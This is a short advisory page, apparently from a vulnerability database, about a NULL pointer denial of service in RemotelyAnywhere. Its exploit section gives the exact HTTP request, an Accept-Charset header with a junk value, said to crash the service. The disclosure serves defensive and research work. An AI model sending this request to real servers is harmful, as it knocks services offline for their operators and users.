• info
• discussion
• exploit
• solution
• references

RemotelyAnywhere 'Accept-Charset' Parameter NULL Pointer Denial Of Service Vulnerability

The following HTTP request is sufficient to trigger the issue:

GET / HTTP/1.1
Accept-Charset: boom